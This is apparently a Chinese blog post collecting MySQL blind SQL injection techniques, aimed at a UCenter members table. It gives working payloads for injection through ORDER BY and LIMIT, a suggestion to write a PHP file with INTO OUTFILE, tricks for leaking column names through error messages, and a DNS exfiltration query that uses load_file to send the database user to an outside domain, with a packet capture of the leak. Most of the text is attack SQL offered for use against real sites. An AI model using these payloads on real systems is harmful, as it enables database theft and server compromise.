Mysql 另类盲注中的一些技巧/注入

很多技巧从国外的paper学到的,不过国内没有多少人使用

一、order by 的参数注入技巧:
两种方法,思路都一样。

example. “select username,password from uc_members order by”.$_GET[‘oderby’]

a.常见的利用方法:
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
返回正常。

b.国外paper看到的方法:
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
返回错误:[Err] 1242 – Subquery returns more than 1 row
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
返回正常。

二、limit 的参数注入技巧:

a.order by之后的limit参数 的注入,因为正常的sql语句order by后无法接union,所以没有好办法,就一个鸡肋思路:into outfile ‘/www/root/xxx.php’;

b.limit前无order by时的注入,那就方便多了,后面可以直接接union select ,随便怎么注都行了:
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
这里还有个技巧,使用procedure analyse可以获取字段名称:
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
不过procedure analyse同样不能使用在order by之后:
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
[Err] 1386 – Can’t use ORDER clause with this procedure

三、无法猜测字段时的技巧:

在mysql5以下版本或者information_schema 无法访问的时候,无法猜到某个表的字段名,于是可以采用这个办法,在子查询中使用%0,报错获得列名。以ucenter的uc_members为例。

1.猜测列数:SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
返回错误:#1241 – Operand should contain 12 column(s)
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回正常。
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘uid’ cannot be null
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
返回错误:#1048 – Column ‘username’ cannot be null
5. ……

注:5.1以上版本不适用,字段必须为非空(not null)

四、windows下利用dns解析盲注的技巧:

如果盲注很累,或者页面无论and 1=1还是and 1=2的时候返回都一模一样,这个时候利用dns进行注入是个不错的方法,前提是win环境root权限下的mysql,利用load_file函数读取 远程文件的思路。本地搭建一个dns服务器,然后将特定域名的NS server转过来。然后进行注入,并抓包。

本地测试了下(实际注入中单引号可以编码):select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’)),抓包成功获得select的结果:
29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com

如图所示:
mysql




coded by nessus
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